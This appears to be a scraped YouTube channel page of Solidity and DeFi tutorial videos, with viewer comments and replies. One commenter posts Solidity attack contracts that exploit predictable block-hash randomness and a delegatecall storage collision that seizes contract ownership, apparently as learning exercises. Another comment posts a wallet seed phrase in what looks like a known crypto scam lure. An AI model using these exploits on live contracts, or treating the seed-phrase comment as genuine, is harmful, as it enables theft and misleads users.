Curve V1 Course Cyfrin Updraft
2:16:30
14 күн бұрын
Pot | Rewrite DAI stablecoin | part 12
16:46
Uniswap V2 Course Cyfrin Updraft
5:28:33
Deep Dive DAI Stablecoin System
7:56
Call | EVM Memory 10
8:12
4 ай бұрын
Revert  | EVM Memory 10
6:42
4 ай бұрын
Return  | EVM Memory 9
6:32
4 ай бұрын
ABI Encoding  | EVM Memory 8
8:50
4 ай бұрын
Dynamic Array | EVM Memory 6
6:36
Fixed Size Array | EVM Memory 5
5:01
Struct | EVM Memory 4
6:29
5 ай бұрын
Memory Gas Cost | EVM Memory 3
4:11
Пікірлер
@JamesJackson-d2v
@JamesJackson-d2v 3 күн бұрын
Thanks for sharing such valuable information! Could you help me with something unrelated: My OKX wallet holds some USDT, and I have the seed phrase. (alarm fetch churn bridge exercise tape speak race clerk couch crater letter). What's the best way to send them to Binance?
@ProMusic-forlistening
@ProMusic-forlistening 4 күн бұрын
Thanks a Lot! God Bless!
@smartcontractprogrammer
@smartcontractprogrammer 4 күн бұрын
Playlist kzbin.info/aero/PLO5VPQH6OWdW9b6GKJR4Dt9XZxQlJuVp_ 0:00 Intro 1:02 Interfaces 3:00 Dog 3:26 Ilk 4:22 State variables Hole and Dirt 6:30 constructor 7:00 file 7:08 chop 7:24 bark 18:21 digs 18:58 Fix compilation errors Code github.com/t4sk/bei-stable-coin Take course www.smartcontract.engineer/
@g2zappergaming
@g2zappergaming 5 күн бұрын
Thanks so much for this tutorial videos. You are the best 💯. A quick question, Technically is it possible to use vyper to develop aave flashloan smart contracts?
@smartcontractprogrammer
@smartcontractprogrammer 4 күн бұрын
Yes it's possible. Be aware that Vyper's handling of dynamic data is awkward. So if the flash loan returns an arbitrary data in bytes, it's easier to write the contract in Solidity
@LongGamma-w8q
@LongGamma-w8q 5 күн бұрын
Amaizing putting so much work into this videos! I am referancing them over and over again! Thanks for creating them :)
@BryinWillis-e8g
@BryinWillis-e8g 6 күн бұрын
Cont/: > Highlight - function 1. Math 2. No error’s Rule Subtract TM Solidity Tech
@darko1332
@darko1332 6 күн бұрын
What digital whiteboard app is that?
@smartcontractprogrammer
@smartcontractprogrammer 4 күн бұрын
excalidraw.com/
@simondicola
@simondicola 7 күн бұрын
For me, to get the account from console, had to use `account=await ethereum.request({method:"eth_requestAccounts", params:[]})`. Hope this helps someone else.
@salazarsilva2840
@salazarsilva2840 10 күн бұрын
How could an MEV bot be created with this template since very little would be earned from extreme swaps?
@smartcontractprogrammer
@smartcontractprogrammer 8 күн бұрын
You shouldn't. This is a toy example.
@salazarsilva2840
@salazarsilva2840 5 күн бұрын
@ thx bro ♥️
@codeWithBala
@codeWithBala 10 күн бұрын
1:04:01 What is the function we used to find the value D by Newton's method? Can you explain this part?
@smartcontractprogrammer
@smartcontractprogrammer 8 күн бұрын
get_D it's explained starting at 1:04:10
@qingshanliu-tk7rt
@qingshanliu-tk7rt 11 күн бұрын
Hello, why do tokenA and tokenB need to be transferred twice? The first transfer is from user account to TestUniswapLiquilidity contract. Then from the TestUniswapLiquilidity contract to the pair contract in uniswap's addLiquilidity method
@smartcontractprogrammer
@smartcontractprogrammer 8 күн бұрын
Did you mean "UniswapV2LiquidityTest"?
@qingshanliu-tk7rt
@qingshanliu-tk7rt 8 күн бұрын
@@smartcontractprogrammer yes,UniswapV2LiquidityTest is the first ,then i found the second in the uniswap's addLiquilidity method again
@tahamasood2584
@tahamasood2584 14 күн бұрын
a full course on Compound v2 and synthetix much needed !!
@smartcontractprogrammer
@smartcontractprogrammer 15 күн бұрын
Playlist kzbin.info/aero/PLO5VPQH6OWdW9b6GKJR4Dt9XZxQlJuVp_ Code github.com/t4sk/bei-stable-coin Take course www.smartcontract.engineer/
@craterface_eth
@craterface_eth 16 күн бұрын
Great! Thanks! 🎉🎉
@Android-17
@Android-17 17 күн бұрын
Cyfrin⚡
@dtory
@dtory 17 күн бұрын
Hey @smartcontractprogrammer Can you create a video about bonding curve ( pump fun )
@smartcontractprogrammer
@smartcontractprogrammer 16 күн бұрын
like token supply is determined by an equation?
@dtory
@dtory 16 күн бұрын
@smartcontractprogrammer yes. How the bonding curve is being calculated ( price ) ✌️
@Cryptopunkstar
@Cryptopunkstar 18 күн бұрын
Xoow great video for developer and increase knowledge DeFI app. 🙏🎁💛
@amiralisalari6863
@amiralisalari6863 18 күн бұрын
Thanks a lot❤
@jatiquep5543
@jatiquep5543 18 күн бұрын
🎉🎉🎉
@maissal5507
@maissal5507 20 күн бұрын
what does mean _paused ?? or _x ,, underscore
@smartcontractprogrammer
@smartcontractprogrammer 19 күн бұрын
naming convention for variables to avoid name conflict with state and local variables
@liviamarias.f2700
@liviamarias.f2700 20 күн бұрын
someone know how to stop the searching? it really annoys me and i have know idea how to stop it
@pranavlakkadi2428
@pranavlakkadi2428 21 күн бұрын
Hey i have a question, why didnt you revert when the callback failed during transfer??
@smartcontractprogrammer
@smartcontractprogrammer 19 күн бұрын
it does. it's wrapped in a require
@thalesbarbosa8535
@thalesbarbosa8535 22 күн бұрын
cool, but what is dp?
@smartcontractprogrammer
@smartcontractprogrammer 19 күн бұрын
delta price
@smartcontractprogrammer
@smartcontractprogrammer 22 күн бұрын
Playlist kzbin.info/aero/PLO5VPQH6OWdW9b6GKJR4Dt9XZxQlJuVp_ 0:00 Intro 1:02 suck 1:32 sin 2:32 vice 3:14 heal Code github.com/t4sk/bei-stable-coin Take course www.smartcontract.engineer/
@chanchalpathak1630
@chanchalpathak1630 23 күн бұрын
Nice
@smartcontractprogrammer
@smartcontractprogrammer 24 күн бұрын
Go to Cyfrin Updraft updraft.cyfrin.io/ for the full course Cyfrin Updraft course updraft.cyfrin.io/courses/curve-v1 Code github.com/Cyfrin/advanced-defi-2024 Updraft X x.com/CyfrinUpdraft Updraft Discord discord.com/invite/cyfrin 0:00:00 Sponsor 0:00:12 Intro 0:02:12 Code repository 0:03:28 Setup 0:04:28 How to run exercises and solutions 0:08:09 Curve V1 intro 0:10:05 Comparison with other AMMs 0:13:57 Graph of Curve V1 AMM 0:20:33 Graph of dynamic leverage 0:23:31 Math 0:27:54 Newton's method 0:32:39 Newton's method Python example 0:44:26 Python sympy 0:45:24 Contract overview 0:48:43 Contract functions 0:49:47 A and D 0:54:36 Code walkthrough A 1:00:26 Code walkthrough xp 1:04:10 Code walkthrough get_D 1:08:13 Code walkthrough get_virtual_price 1:09:31 Code walkthrough calc_token_amount 1:11:50 Contract call exchange 1:12:21 Code outline exchange 1:13:59 Code walkthrough exchange 1:21:38 Code walkthrough get_y 1:24:51 Code walkthrough get_dy 1:28:11 Exercise 1 get_dy_underlying 1:28:52 Solution 1 get_dy_underlying 1:30:53 Exercise 2 exchange 1:31:43 Solution 2 exchange 1:33:31 Contract call add_liquidity 1:34:50 Code outline add_liquidity 1:37:33 Imbalance fee 1:43:12 Code walkthrough add_liquidity 1:50:13 Exercise 3 add_liquidity 1:51:04 Solution 3 add_liquidity 1:53:05 Contract call remove_liquidity 1:53:49 Code outline remove_liquidity 1:54:06 Contract call remove_liquidity_one_coin 1:55:04 Code outline remove_liquidity_one_coin 1:56:00 Code walkthrough remove_liquidity 1:57:59 Graph calc_withdraw_one_coin 2:02:09 Code walkthrough remove_liquidity_one_coin 2:03:59 Code walkthrough calc_withdraw_one_coin 2:09:57 Exercise 4 remove_liquidity 2:11:26 Solution 4 remove_liquidity 2:14:10 Exercise 5 remove_liquiqidity_one_coin 2:15:10 Solution 5 remove_liquidity_one_coin
@WallenZhao
@WallenZhao 25 күн бұрын
seems like, named the second input parameter of frob to cdpUser better. The name cdp misunderstanding
@sixmode3451
@sixmode3451 25 күн бұрын
I just wanted to comment here for two reasons: 1) Thanks you for making this SCP, you are a godsend! 2) This is to other viewers: if you are going through Cyfrin Updraft and feel Pat ramps up the Foundry content a little too quickly, go through this playlist. SCP does Foundry so well. I have gone through the whole playlist and came back to the first video to leave this for anyone in the same boat as me. This guy will get you through Foundry! I personally will be continuing on with SCP content exclusively. Very thankful for the folks at Cyfrin but it just doesn't click like SCP's content for me. Thanks!
@dxFareedi
@dxFareedi 24 күн бұрын
this is the same reason why i'm here also! thanks ;)
@redditrecap7
@redditrecap7 26 күн бұрын
Hi, can you please make videos on Quicknode functions, streams and marketplace add ons. And can you even build an end to end project in one of your videos...
@smartcontractprogrammer
@smartcontractprogrammer 25 күн бұрын
Thanks for the idea. But I got a list of topics I want to make
@redditrecap7
@redditrecap7 25 күн бұрын
@@smartcontractprogrammer anyway are you interested in taking part in a hackathon with me? I am talking about quicknode build on hackathon, you already know me I think I am Rishabh Singhvi, i changed my account's name, I have built the project somewhat, it's a milestone based crowdfunding dapp, you get refund if milestone is not completed.
@redditrecap7
@redditrecap7 20 күн бұрын
@@smartcontractprogrammer yeah if your list ends then do think of atleast making an end to end project video. Thanks.
@smartcontractprogrammer
@smartcontractprogrammer 28 күн бұрын
Playlist kzbin.info/aero/PLO5VPQH6OWdW9b6GKJR4Dt9XZxQlJuVp_ 0:00 Intro 0:40 VatLike 2:20 auth 2:48 live 3:50 state variables 5:34 constructor 6:27 file 7:50 cage 8:37 drip 12:47 join 15:00 exit 16:17 Fix compilation errors Stability fee algorithm kzbin.info/www/bejne/gnm7mqBomKiIrNU Code github.com/t4sk/bei-stable-coin Take course www.smartcontract.engineer/
@elitex45
@elitex45 Ай бұрын
This is brilliant!!
@softwite
@softwite Ай бұрын
Love your tutorials. Is it me or do you always say b instead of v ? I can almost swear I hear "Bariable, Ebent" 😅
@smartcontractprogrammer
@smartcontractprogrammer 28 күн бұрын
Yes, my pronunciation is not great :)
@ikkenzo3948
@ikkenzo3948 Ай бұрын
does oppenzepline work with optimism?
@smartcontractprogrammer
@smartcontractprogrammer 28 күн бұрын
Not sure
@tyranzero
@tyranzero Ай бұрын
Really intuitive thanks alot! Learned the conversions out of the head but this clarifies alot <3
@Arjun147gtk
@Arjun147gtk Ай бұрын
I found this course hard to comprehend after theoretical part, it looked more like a code walkthrough. I wanted to see how things are setup initially.
@Munchen888
@Munchen888 Ай бұрын
hi guys! Could you explain me how to count in method addLiquidityETH amountTokenMin and amoutETHMin?
@smartcontractprogrammer
@smartcontractprogrammer 28 күн бұрын
It's explained here github.com/Uniswap/v2-periphery/blob/0335e8f7e1bd1e8d8329fd300aea2ef2f36dd19f/contracts/UniswapV2Router02.sol#L33-L60 Basically, tokens must be added in proportion to the current token ratios of the pool
@smartcontractprogrammer
@smartcontractprogrammer Ай бұрын
Playlist kzbin.info/aero/PLO5VPQH6OWdW9b6GKJR4Dt9XZxQlJuVp_ 0:00 Intro 1:22 Auth 1:41 Ilk 2:22 State variables 3:43 rpow 6:25 init 7:39 file 8:57 drip 12:37 Fix errors Binary exponentiation algorithm kzbin.info/www/bejne/qYiXhqKJqrB4aNk Binary exponentiation code kzbin.info/www/bejne/oH6qhpxjis6iatU Code github.com/t4sk/bei-stable-coin Take course www.smartcontract.engineer/
@BhaveshBhavnani-c9z
@BhaveshBhavnani-c9z Ай бұрын
Is there any op stack contract support for l2 to l2 messaging please make video if any
@smartcontractprogrammer
@smartcontractprogrammer Ай бұрын
I am not aware of any
@sweetjimmy
@sweetjimmy Ай бұрын
3:04 it's not RAD. it's RAY
@patitilinda
@patitilinda Ай бұрын
Your explanation of NFTs was so helpful; I’m excited to learn more.
@Webitect
@Webitect Ай бұрын
When building a fullstack web3 dapp, what do I use for an off chain data store? I was thinking of just building a rest API to handle data that doesn't need to be stored on chain but I'm wondering if there is a better way?
@smartcontractprogrammer
@smartcontractprogrammer Ай бұрын
database if centralization is not an issue
@smartcontractprogrammer
@smartcontractprogrammer Ай бұрын
Playlist kzbin.info/aero/PLO5VPQH6OWdW9b6GKJR4Dt9XZxQlJuVp_ Code github.com/t4sk/bei-stable-coin Take course www.smartcontract.engineer/
@simondicola
@simondicola Ай бұрын
this works in remix // SPDX-License-Identifier: MIT pragma solidity ^0.8; contract GuessTheRandomNumber { constructor() payable {} function guess(uint256 _guess) public { uint256 answer = uint256( keccak256( abi.encodePacked(blockhash(block.number - 1), block.timestamp) ) ); if (_guess == answer) { (bool stat, ) = msg.sender.call{value: 1 ether, gas: 30000}(""); require(stat, "Cannot send you your your prize"); } } } contract Attacker { function getAnswer(GuessTheRandomNumber _guessContract) external { _guessContract.guess( uint256( keccak256( abi.encodePacked( blockhash(block.number - 1), block.timestamp ) ) ) ); } receive() external payable { } }
@simondicola
@simondicola Ай бұрын
This works as well without having an extra state variable in Attack contract: ``` // SPDX-License-Identifier: MIT pragma solidity ^0.8; contract Lib { uint256 public someNumber; function doSomething(uint256 _number) external { someNumber = _number; } } contract HackMe { address public lib; address public owner; uint256 public someNumber; constructor(address _lib) { lib = _lib; owner = msg.sender; } function doSomething(uint256 _num) public{ lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num)); } } contract Attack { address public lib; address public owner; uint256 public someNumber; function doSomething(uint256 _number) external { owner = msg.sender; } } ```
@sweetjimmy
@sweetjimmy Ай бұрын
the videos in the DAI playlist are not in order. please fix it 🙏
@JenniferBrown-n3r
@JenniferBrown-n3r Ай бұрын
Walker Timothy Thompson Brian Lewis Ruth
@eckasas
@eckasas Ай бұрын
learning Morse code is easier than this sh!t. no offence.
@itsmemyme
@itsmemyme Ай бұрын
The transaction has been reverted to the initial state. Note: The called function should be payable if you send value and the value you send should be less than your current balance. You may want to cautiously increase the gas limit if the transaction went out of gas.
@smartcontractprogrammer
@smartcontractprogrammer Ай бұрын
Playlist kzbin.info/aero/PLO5VPQH6OWdW9b6GKJR4Dt9XZxQlJuVp_ 0:00 Intro 1:26 Interfaces 2:43 Auth 3:21 Ilk 4:40 par 4:55 live 5:27 constructor 6:06 Math functions 6:33 file 8:24 cage 8:49 poke 12:30 Example of spot and mat 13:56 Fix compilation errors Code github.com/t4sk/bei-stable-coin Take course www.smartcontract.engineer/